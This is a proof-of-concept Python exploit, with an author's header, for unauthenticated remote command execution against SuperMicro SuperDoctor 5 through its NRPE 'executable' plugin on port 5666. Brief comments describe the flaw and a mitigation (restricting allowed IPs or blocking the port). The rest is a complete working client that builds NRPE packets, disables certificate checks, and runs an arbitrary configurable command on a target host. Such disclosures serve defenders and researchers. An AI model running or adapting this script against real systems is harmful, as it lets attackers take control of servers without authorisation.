SuperDoctor5 - 'NRPE' Remote Code Execution

# SuperMicro implemented a Remote Command Execution plugin in their implementation of 
# NRPE in SuperDocter 5, which is their monitoring utility for SuperMicro chassis'.
# This is an intended feature but leaves the system open (by default) to unauthenticated
# remote command execution by abusing the 'executable' plugin with an NRPE client.
# 
# For your pleasure, here is a PoC Python NRPE Client that will connect, execute the 
# cmd of choice and return its output.
#
# To mitigate this vulnerbility, edit your agent.cfg to specificy which IPs are allowed 
# to execute NRPE commands agaist the system and/or block traffic on port 5666.
#
# NRPE cannot be disabled in this software, see Guide section 3.2


#Author: Simon Gurney 
#Date: 23/05/2019
#Vendor: SuperMicro
#Product: SuperMicro Super Doctor 5
#Version: 5
#Guide: ftp://supermicro.com/ISO_Extracted/CDR-C9_V1.00_for_Intel_C9_platform/SuperDoctor_V/Linux/SuperDoctor5_UserGuide.pdf



### Configurables

command = "ping 1.1.1.1 -n 1"
target = "1.2.3.4"
target_port = 5666

### Don't need to change anything below

import binascii
import struct
import socket
import ssl

#### Struct Encoding Types
StructCodeInt16 = "!h" ## Unsigned Int16
StructCodeInt32 = "!L" ## Unsigned Int32

#### NRPE Specific definitions
NRPE_Version = ("","One", "Two", "Three")
NRPE_Packet_Type = ("", "Query", "Response")
NRPE_Response = ("Ok", "Warning", "Critical", "Unknown")
NRPE_Version_1 = 1
NRPE_Version_2 = 2
NRPE_Version_3 = 3
NRPE_Packet_Type_Query = 1
NRPE_Packet_Type_Response = 2
NRPE_Response_Ok = 0
NRPE_Response_Warning = 1
NRPE_Response_Critical = 2
NRPE_Response_Unknown = 3
NRPE_Response_Type_Query = 3

#### RandomDefintions
NullByte = b"\x00"
TwoCharSuffix = "SG"

class NRPEpacket:
	port = 5666
	server = "127.0.0.1"
	nrpeVersion = NRPE_Version_2
	nrpePacketType = NRPE_Packet_Type_Query
	nrpeResponseCode = NRPE_Response_Type_Query
	ownSocket = None
	def CalculateCRC(self):
		tempBuffer = struct.pack(StructCodeInt16,self.nrpeVersion)
		tempBuffer += struct.pack(StructCodeInt16,self.nrpePacketType)
		tempBuffer += NullByte * 4
		tempBuffer += struct.pack(StructCodeInt16,self.nrpeResponseCode)
		tempBuffer += self.content
		return (struct.pack(StructCodeInt32, binascii.crc32(tempBuffer) & 0xffffffff))
	def PadTo1024Bytes(self,command):
		if len(command) <= 1024:
			tempBuffer = command
		else:
			Error("Command string is too long!")
		while len(tempBuffer) < 1024:
			tempBuffer += "\x00"
		tempBuffer += TwoCharSuffix
		return tempBuffer.encode()
	def Connect(self):
		self.socket = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
		self.socket.connect((self.server,self.port))
	def WrapSSL(self):
		self.socket = ssl.wrap_socket(self.socket,cert_reqs=ssl.CERT_NONE, ssl_version=ssl.PROTOCOL_SSLv23, ciphers="ALL")
	def Send(self):
		tempBuffer = struct.pack(StructCodeInt16,self.nrpeVersion)
		tempBuffer += struct.pack(StructCodeInt16,self.nrpePacketType)
		tempBuffer += self.crc
		tempBuffer += struct.pack(StructCodeInt16,self.nrpeResponseCode)
		tempBuffer += self.content
		self.socket.send(tempBuffer)
	def Recv(self):
		tempBuffer = self.socket.recv(2048)
		self.nrpeVersion = struct.unpack(StructCodeInt16,tempBuffer[0:2])[0]
		self.nrpePacketType = struct.unpack(StructCodeInt16,tempBuffer[2:4])[0]
		self.crc = tempBuffer[4:8]
		self.nrpeResponseCode = struct.unpack(StructCodeInt16,tempBuffer[8:10])[0]
		self.content = tempBuffer[10:]
		if self.crc != self.CalculateCRC():
			print ("CRC does not match!")
	def PrintOut(self):
		print(" -=-=-=-= Begin NRPE Content =-=-=-=-")
		print("| NRPE Version       =  %i  -  %s" % (self.nrpeVersion,NRPE_Version[self.nrpeVersion]))
		print("| NRPE Packet Type   =  %i  -  %s" % (self.nrpePacketType,NRPE_Packet_Type[self.nrpePacketType]))
		print("| NRPE Packet CRC    =  %i" % struct.unpack(StructCodeInt32,self.crc)[0])
		print("| NRPE Response Code =  %i  -  %s" % (self.nrpeResponseCode,NRPE_Response[self.nrpeResponseCode]))
		print("| Packet Content:")
		print("| %s" % self.content.decode().strip(TwoCharSuffix).strip("\x00"))
		print(" -=-=-=-= End NRPE Content =-=-=-=-")
	def Close(self):
		if not self.ownSocket:
			self.socket.close()
	def AutoSend(self):
		print("Sending...")
		self.PrintOut()
		self.Send()
		print("Receiving...")
		self.Recv()
		self.PrintOut()
		self.Close()
	def __init__(self, command, socket=None, server=None, port = None, ssl=True):
		self.content = self.PadTo1024Bytes(command)
		self.crc = self.CalculateCRC()
		if server:
			self.server = server
		if port:
			self.port = port
		if not socket:
			self.Connect()
		else:
			self.socket = socket
			self.ownSocket = True
		if ssl == True:
			self.WrapSSL()

			
#NRPE CMD format is "executable!<binary>!<arguments> i.e."
#NRPEpacket("executable!ping!1.1.1.1 -n 1", server="1.2.3.4").AutoSend()

split = command.split(" ",1)
cmd = "executable!" + split[0] + "!" + split[1]
NRPEpacket(cmd, server=target, port=target_port).AutoSend()